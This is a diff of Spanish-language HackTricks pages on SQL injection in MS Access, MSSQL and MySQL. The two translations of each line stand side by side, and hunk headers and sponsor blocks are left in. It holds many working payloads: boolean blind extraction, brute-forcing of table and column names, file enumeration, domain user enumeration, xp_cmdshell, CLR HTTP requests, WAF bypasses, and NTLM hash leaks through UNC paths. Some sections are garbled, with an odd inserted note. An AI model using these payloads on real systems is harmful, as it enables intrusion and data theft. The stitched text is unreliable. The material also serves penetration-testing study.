**MS Access** permite una **sintaxis extraña** como **`'1'=2='3'='asd'=false`**. Como generalmente la inyección SQL estará dentro de una cláusula **`WHERE`**, podemos abusar de eso.
Imagina que tienes una SQLi en una base de datos de MS Access y sabes (o supones) que el nombre de una **columna es username**, y ese es el campo que quieres **exfiltrar**. Podrías verificar las diferentes respuestas de la aplicación web cuando se utiliza la técnica de encadenamiento de igualdades y potencialmente exfiltrar contenido con una **inyección booleana** utilizando la función **`Mid`** para obtener subcadenas.
Imagina que tienes una inyección SQL en una base de datos de MS Access y sabes (o has adivinado) que un **nombre de columna es username**, y ese es el campo que deseas **exfiltrar**. Podrías verificar las diferentes respuestas de la aplicación web cuando se utiliza la técnica de encadenamiento de igualdad y potencialmente exfiltrar contenido con una **inyección booleana** utilizando la función **`Mid`** para obtener subcadenas.
```sql
'=(Mid(username,1,3)='adm')='
```
Si conoces el **nombre de la tabla** y **columna** para extraer, puedes usar una combinación de `Mid`, `LAST` y `TOP` para **filtrar toda la información** a través de SQLi booleano:
Si conoces el **nombre de la tabla** y **columna** para volcar, puedes usar una combinación de `Mid`, `LAST` y `TOP` para **filtrar toda la información** a través de SQLi booleano:
```sql
'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='
```
_Siéntase libre de verificar esto en el playground en línea._
_Siéntete libre de probar esto en el entorno de pruebas en línea._
### Fuerza bruta en nombres de tablas
### Fuerza bruta de nombres de tablas
Usando la técnica de encadenamiento de iguales también puedes **fuerza bruta en nombres de tablas** con algo como:
Usando la técnica de encadenamiento de iguales también puedes **realizar fuerza bruta en los nombres de las tablas** de la siguiente manera:
```sql
'=(select+top+1+'lala'+from+<table_name>)='
```
También puedes usar un método más tradicional:
El siguiente contenido es de un libro sobre técnicas de hacking. El contenido es de un archivo sobre inyección SQL en MS Access.
```md
## MS Access SQL Injection
---
### Introduction
In this section, we will discuss how to perform SQL injection in MS Access databases.
### Steps to Perform SQL Injection in MS Access
1. **Identify the Vulnerable Parameter**: Find the input field or parameter that is vulnerable to SQL injection.
2. **Determine the Number of Columns**: Use the `ORDER BY` clause to determine the number of columns in the database.
3. **Retrieve Data**: Use the `UNION SELECT` statement to retrieve data from the database.
4. **Identify the Database Version**: Use database-specific queries to identify the version of MS Access.
5. **Dumping the Database**: Use SQL injection techniques to dump the entire database.
### Example
Assuming we have a vulnerable parameter `id` in a URL, we can perform SQL injection by manipulating the input.
```html
https://example.com/page?id=1
```
By injecting SQL code into the `id` parameter, we can retrieve sensitive data from the database.
---
By following these steps, you can successfully perform SQL injection in MS Access databases.
```
```sql
-1' AND (SELECT TOP 1 <table_name>)%00
```
_No dudes en verificar esto en el playground en línea._
_Siéntete libre de verificar esto en el patio de recreo en línea._
* Nombres comunes de tablas en Sqlmap: [https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt](https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt)
* Hay otra lista en [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
### Fuerza bruta en nombres de columnas
### Fuerza bruta de nombres de columnas
Puedes **fuerza bruta en los nombres de columnas actuales** con el truco de encadenar iguales con:
Puedes **forzar por fuerza bruta los nombres de las columnas actuales** con el truco de encadenamiento de iguales con:
```sql
'=column_name='
```
@ -100,34 +136,34 @@ O con un **group by**:
```sql
-1' GROUP BY column_name%00
```
O puedes forzar bruscamente los nombres de columnas de una **tabla diferente** con:
O puedes realizar un ataque de fuerza bruta en los nombres de las columnas de una **tabla diferente** con:
```sql
'=(SELECT TOP 1 column_name FROM valid_table_name)='
-1' AND (SELECT TOP 1 column_name FROM valid_table_name)%00
```
### Extracción de datos
### Volcado de datos
Ya hemos discutido la [**técnica de encadenamiento de iguales**](ms-access-sql-injection.md#chaining-equals-+-substring) **para extraer datos de la tabla actual y otras tablas**. Pero hay otros métodos:
Ya hemos discutido la [**técnica de encadenamiento de iguales**](ms-access-sql-injection.md#chaining-equals-+-substring) **para volcar datos de las tablas actuales y otras**. Pero hay otras formas:
```sql
IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')
```
En resumen, la consulta utiliza una declaración "if-then" para desencadenar un "200 OK" en caso de éxito o un "500 Error Interno" de lo contrario. Aprovechando el operador TOP 10, es posible seleccionar los primeros diez resultados. El uso subsiguiente de LAST permite considerar solo la décima tupla. Sobre dicho valor, utilizando el operador MID, es posible realizar una simple comparación de caracteres. Cambiando adecuadamente el índice de MID y TOP, podemos volcar el contenido del campo "username" para todas las filas.
En resumen, la consulta utiliza una declaración "si-entonces" para desencadenar un "200 OK" en caso de éxito o un "500 Internal Error" de lo contrario. Aprovechando el operador TOP 10, es posible seleccionar los primeros diez resultados. El uso posterior de LAST permite considerar solo la décima tupla. En ese valor, utilizando el operador MID, es posible realizar una simple comparación de caracteres. Cambiando adecuadamente el índice de MID y TOP, podemos volcar el contenido del campo "username" para todas las filas.
### Basado en Tiempo
Consulta [https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676\(v=technet.10\)?redirectedfrom=MSDN)
Consulte [https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676\(v=technet.10\)?redirectedfrom=MSDN)
### Otras funciones interesantes
* `Mid('admin',1,1)` obtener subcadena desde la posición 1 con longitud 1 (la posición inicial es 1)
* `Mid('admin',1,1)` obtener subcadena desde la posición 1 longitud 1 (la posición inicial es 1)
* `LEN('1234')` obtener longitud de cadena
* `ASC('A')` obtener valor ascii de carácter
* `CHR(65)` obtener cadena desde valor ascii
* `ASC('A')` obtener el valor ASCII de un carácter
* `CHR(65)` obtener cadena a partir del valor ASCII
* `IIF(1=1,'a','b')` si entonces
* `COUNT(*)` Contar número de elementos
## Enumerando tablas
## Enumeración de tablas
Desde [**aquí**](https://dataedo.com/kb/query/access/list-of-tables-in-the-database) puedes ver una consulta para obtener nombres de tablas:
```sql
@ -141,52 +177,38 @@ order by MSysObjects.name
```
Sin embargo, ten en cuenta que es muy típico encontrar Inyecciones SQL donde **no tienes acceso para leer la tabla `MSysObjects`**.
## Acceso al sistema de archivos
## Acceso al Sistema de Archivos
### Ruta completa del directorio raíz web
### Ruta Completa del Directorio Raíz Web
El conocimiento de la **ruta absoluta del directorio raíz web puede facilitar ataques posteriores**. Si los errores de la aplicación no están completamente ocultos, la ruta del directorio se puede descubrir intentando seleccionar datos de una base de datos inexistente.
El conocimiento de la **ruta absoluta del directorio raíz web puede facilitar ataques adicionales**. Si los errores de la aplicación no están completamente ocultos, la ruta del directorio puede ser descubierta intentando seleccionar datos de una base de datos inexistente.
`http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeDB.FakeTable%00`
MS Access responde con un **mensaje de error que contiene la ruta completa del directorio web**.
### Enumeración de archivos
### Enumeración de Archivos
El siguiente vector de ataque se puede utilizar para **inferir la existencia de un archivo en el sistema de archivos remoto**. Si el archivo especificado existe, MS Access desencadena un mensaje de error informando que el formato de la base de datos es inválido:
`http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00`
Otra forma de enumerar archivos consiste en **especificar un elemento database.table**. **Si** el **archivo especificado existe**, MS Access muestra un **mensaje de error de formato de base de datos**.
Otra forma de enumerar archivos consiste en **especificar un elemento de base de datos.tabla**. **Si** el **archivo especificado existe**, MS Access muestra un **mensaje de error de formato de base de datos**.
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00`
### Adivinación del nombre de archivo .mdb
### Adivinanza del Nombre del Archivo .mdb
El **nombre del archivo de base de datos (.mdb)** se puede inferir con la siguiente consulta:
El **nombre del archivo de la base de datos (.mdb)** se puede inferir con la siguiente consulta:
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00`
Donde **name\[i] es un nombre de archivo .mdb** y **realTable es una tabla existente** dentro de la base de datos. Aunque MS Access siempre desencadenará un mensaje de error, es posible distinguir entre un nombre de archivo inválido y un nombre de archivo .mdb válido.
### Rompedor de contraseñas .mdb
### Descifrador de Contraseñas .mdb
[**Access PassView**](https://www.nirsoft.net/utils/accesspv.html) es una utilidad gratuita que se puede utilizar para recuperar la contraseña principal de la base de datos de Microsoft Access 95/97/2000/XP o Jet Database Engine 3.0/4.0.
## Referencias
* [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) en github.
</details>

View file

@ -2,14 +2,14 @@
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red de HackTricks AWS)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
@ -18,10 +18,10 @@ Otras formas de apoyar a HackTricks:
Puede ser posible **enumerar usuarios de dominio a través de una inyección SQL dentro de un servidor MSSQL** utilizando las siguientes funciones MSSQL:
* **`SELECT DEFAULT_DOMAIN()`**: Obtiene el nombre de dominio actual.
* **`master.dbo.fn_varbintohexstr(SUSER_SID('DOMINIO\Administrador'))`**: Si conoces el nombre del dominio (_DOMINIO_ en este ejemplo), esta función devolverá el **SID del usuario Administrador** en formato hexadecimal. Esto se verá como `0x01050000000[...]0000f401`, nota cómo los **últimos 4 bytes** son el número **500** en formato **big endian**, que es el **ID común del usuario administrador**.\
* **`SELECT DEFAULT_DOMAIN()`**: Obtener el nombre de dominio actual.
* **`master.dbo.fn_varbintohexstr(SUSER_SID('DOMINIO\Administrador'))`**: Si conoces el nombre del dominio (_DOMINIO_ en este ejemplo) esta función devolverá el **SID del usuario Administrador** en formato hexadecimal. Esto se verá como `0x01050000000[...]0000f401`, nota cómo los **últimos 4 bytes** son el número **500** en formato **big endian**, que es el **ID común del usuario administrador**.\
Esta función te permitirá **conocer el ID del dominio** (todos los bytes excepto los últimos 4).
* **`SUSER_SNAME(0x01050000000[...]0000e803)`** : Esta función devolverá el **nombre de usuario del ID indicado** (si existe), en este caso **0000e803** en big endian == **1000** (generalmente este es el ID del primer usuario regular creado). Luego puedes imaginar que puedes hacer fuerza bruta en los IDs de usuario desde 1000 hasta 2000 y probablemente obtener todos los nombres de usuario de los usuarios del dominio. Por ejemplo, utilizando una función como la siguiente:
* **`SUSER_SNAME(0x01050000000[...]0000e803)`** : Esta función devolverá el **nombre de usuario del ID indicado** (si existe), en este caso **0000e803** en big endian == **1000** (usualmente este es el ID del primer usuario regular creado). Luego puedes imaginar que puedes hacer fuerza bruta en los IDs de usuario desde 1000 hasta 2000 y probablemente obtener todos los nombres de usuario de los usuarios del dominio. Por ejemplo, utilizando una función como la siguiente:
```python
def get_sid(n):
domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236'
@ -109,7 +109,6 @@ Es importante tener en cuenta que este método puede no funcionar en todas las c
Además, existen procedimientos almacenados alternativos como `master..xp_fileexist` y `xp_subdirs` que pueden lograr resultados similares. Más detalles sobre `xp_fileexist` se pueden encontrar en este [artículo de TechNet](https://social.technet.microsoft.com/wiki/contents/articles/40107.xp-fileexist-and-its-alternate.aspx).
### `xp_cmdshell` <a href="#master-xp-cmdshell" id="master-xp-cmdshell"></a>
Obviamente, también se podría utilizar **`xp_cmdshell`** para **ejecutar** algo que desencadene un **SSRF**. Para obtener más información, **lea la sección relevante** en la página:
@ -120,9 +119,9 @@ Obviamente, también se podría utilizar **`xp_cmdshell`** para **ejecutar** alg
### Función Definida por el Usuario MSSQL - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
Crear una UDF CLR (Función Definida por el Usuario de Tiempo de Ejecución Común), que es código creado en cualquier lenguaje .NET y compilado en un DLL, para ser cargado dentro de MSSQL para ejecutar funciones personalizadas, es un proceso que requiere acceso `dbo`. Esto significa que generalmente solo es factible cuando la conexión a la base de datos se realiza como `sa` o con un rol de Administrador.
Crear una UDF CLR (Función Definida por el Usuario de Tiempo de Ejecución de Lenguaje Común), que es código creado en cualquier lenguaje .NET y compilado en un DLL, para ser cargado en MSSQL para ejecutar funciones personalizadas, es un proceso que requiere acceso `dbo`. Esto significa que generalmente solo es factible cuando la conexión a la base de datos se realiza como `sa` o con un rol de Administrador.
Un proyecto de Visual Studio e instrucciones de instalación se proporcionan en [este repositorio de Github](https://github.com/infiniteloopltd/SQLHttp) para facilitar la carga del binario en MSSQL como un ensamblado CLR, lo que permite la ejecución de solicitudes HTTP GET desde dentro de MSSQL.
Un proyecto de Visual Studio e instrucciones de instalación se proporcionan en [este repositorio de Github](https://github.com/infiniteloopltd/SQLHttp) para facilitar la carga del binario en MSSQL como un ensamblado CLR, lo que permite la ejecución de solicitudes HTTP GET desde MSSQL.
El núcleo de esta funcionalidad está encapsulado en el archivo `http.cs`, que utiliza la clase `WebClient` para ejecutar una solicitud GET y recuperar contenido como se ilustra a continuación:
```csharp
@ -172,14 +171,16 @@ https://vuln.app/getItem?id=1'+y+1=(select+concat_ws(0x3a,table_schema,table_nam
For users granted the `VIEW SERVER STATE` permission on the server, it's possible to see all executing sessions on the SQL Server instance. However, without this permission, users can only view their current session. The currently executing SQL query can be retrieved by accessing sys.dm_exec_requests and sys.dm_exec_sql_text:
```sql
```plaintext
Acceda a https://vuln.app/getItem?id=-1%20union%20select%20null,(select+text+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null
```
https://vuln.app/getItem?id=-1%20union%20select%20null,(select+text+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null
```
To check if you have the VIEW SERVER STATE permission, the following query can be used:
```sql
```sql
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
```
```sql
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
```
@ -192,13 +193,19 @@ SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERV
Non-standard whitespace characters: %C2%85 или %C2%A0:
```
https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null--
### MSSQL Injection
#### Inyección MSSQL
El siguiente es un ejemplo de una inyección MSSQL en una URL:
`https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null--`
```
Scientific (0e) and hex (0x) notation for obfuscating UNION:
```
- **Inyección de SQL en MSSQL**
- **Inyección MSSQL de Union-Based**
- URL vulnerable: `https://vuln.app/getItem?id=0eunion+select+null,@@version,null--`
@ -208,11 +215,7 @@ Scientific (0e) and hex (0x) notation for obfuscating UNION:
A period instead of a whitespace between FROM and a column name:
```
### MSSQL Injection
La inyección de SQL en MSSQL es similar a la inyección de SQL en otros sistemas de gestión de bases de datos. Puedes probar la inyección de SQL en una URL como la siguiente:
`https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users--`
https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users--
```
\N separator between SELECT and a throwaway column:
@ -298,7 +301,7 @@ Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -2,11 +2,11 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> - <a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén la [**ropa oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
@ -14,7 +14,7 @@
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/) es el evento de ciberseguridad más relevante en **España** y uno de los más importantes en **Europa**. Con **la misión de promover el conocimiento técnico**, este congreso es un punto de encuentro crucial para profesionales de tecnología y ciberseguridad en todas las disciplinas.
[**RootedCON**](https://www.rootedcon.com/) es el evento de ciberseguridad más relevante en **España** y uno de los más importantes en **Europa**. Con **la misión de promover el conocimiento técnico**, este congreso es un punto de encuentro clave para profesionales de tecnología y ciberseguridad en todas las disciplinas.
{% embed url="https://www.rootedcon.com/" %}
@ -78,12 +78,12 @@ SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges
* `group_concat()`
* `Limit X,1`
### **A ciegas uno por uno**
### **Ciego uno por uno**
* `substr(version(),X,1)='r'` o `substring(version(),X,1)=0x70` o `ascii(substr(version(),X,1))=112`
* `mid(version(),X,1)='5'`
### **A ciegas agregando**
### **Ciego añadiendo**
* `LPAD(version(),1...lenght(version()),'1')='asd'...`
* `RPAD(version(),1...lenght(version()),'1')='asd'...`
@ -115,7 +115,7 @@ UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
```
## SSRF
**Aprende aquí diferentes opciones para** [**abusar de una inyección Mysql para obtener un SSRF**](mysql-ssrf.md)**.**
**Aprende aquí diferentes opciones para** [**abu**s**ar una inyección de MySQL para obtener un SSRF**](mysql-ssrf.md)**.**
## Trucos de bypass de WAF
@ -131,7 +131,7 @@ Selecciona 2 columnas sin usar ninguna coma ([https://security.stackexchange.com
```
### Recuperación de valores sin el nombre de la columna
Si en algún momento conoces el nombre de la tabla pero no sabes el nombre de las columnas dentro de la tabla, puedes intentar encontrar cuántas columnas hay ejecutando algo como:
Si en algún momento conoces el nombre de la tabla pero no sabes los nombres de las columnas dentro de la tabla, puedes intentar encontrar cuántas columnas hay ejecutando algo como:
```bash
# When a True is returned, you have found the number of columns
select (select "", "") = (SELECT * from demo limit 1); # 2columns
@ -146,7 +146,7 @@ Más información en [https://medium.com/@terjanq/blind-sql-injection-without-an
### Historia de MySQL
Puedes ver otras ejecuciones dentro del MySQL leyendo la tabla: **sys.x$statement\_analysis**
Puedes ver otras ejecuciones dentro de MySQL leyendo la tabla: **sys.x$statement\_analysis**
### Versiones alternativas
```
@ -164,17 +164,17 @@ mysql> select version();
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/) es el evento de ciberseguridad más relevante en **España** y uno de los más importantes en **Europa**. Con **la misión de promover el conocimiento técnico**, este congreso es un punto de encuentro crucial para profesionales de tecnología y ciberseguridad en todas las disciplinas.
[**RootedCON**](https://www.rootedcon.com/) es el evento de ciberseguridad más relevante en **España** y uno de los más importantes en **Europa**. Con **la misión de promover el conocimiento técnico**, este congreso es un punto de encuentro clave para profesionales de tecnología y ciberseguridad en todas las disciplinas.
{% embed url="https://www.rootedcon.com/" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.

View file

@ -2,38 +2,52 @@
<details>
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén [**productos oficiales de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
**Este es un resumen de las técnicas de MySQL/MariaDB/Percona de [https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/)**.
### Falsificación de Petición del Lado del Servidor (SSRF) mediante Funciones SQL
### Falsificación de Petición de Servidor (SSRF) mediante Funciones SQL
En la exploración de la exfiltración de datos Out of Band de SQL, la función `LOAD_FILE()` se emplea comúnmente para iniciar solicitudes de red. Sin embargo, esta función está limitada por el sistema operativo en el que opera y las configuraciones de inicio de la base de datos.
En la exploración de la exfiltración de datos SQL Out of Band, la función `LOAD_FILE()` se emplea comúnmente para iniciar solicitudes de red. Sin embargo, esta función está limitada por el sistema operativo en el que opera y las configuraciones de inicio de la base de datos.
La variable global `secure_file_priv`, si no está configurada, se establece por defecto en `/var/lib/mysql-files/`, limitando el acceso a archivos a este directorio a menos que se establezca como una cadena vacía (`""`). Este ajuste requiere modificaciones en el archivo de configuración de la base de datos o en los parámetros de inicio.
La variable global `secure_file_priv`, si no está configurada, se establece por defecto en `/var/lib/mysql-files/`, limitando el acceso a archivos a este directorio a menos que se establezca en una cadena vacía (`""`). Este ajuste requiere modificaciones en el archivo de configuración de la base de datos o en los parámetros de inicio.
Dado que `secure_file_priv` está deshabilitado (`""`), y asumiendo que se otorgan los permisos necesarios para el archivo y `file_priv`, se pueden leer archivos fuera del directorio designado. Sin embargo, la capacidad de estas funciones para realizar llamadas de red depende en gran medida del sistema operativo. En sistemas Windows, las llamadas de red a rutas UNC son factibles debido a la comprensión por parte del sistema operativo de las convenciones de nomenclatura UNC, lo que potencialmente lleva a la exfiltración de hashes NTLMv2.
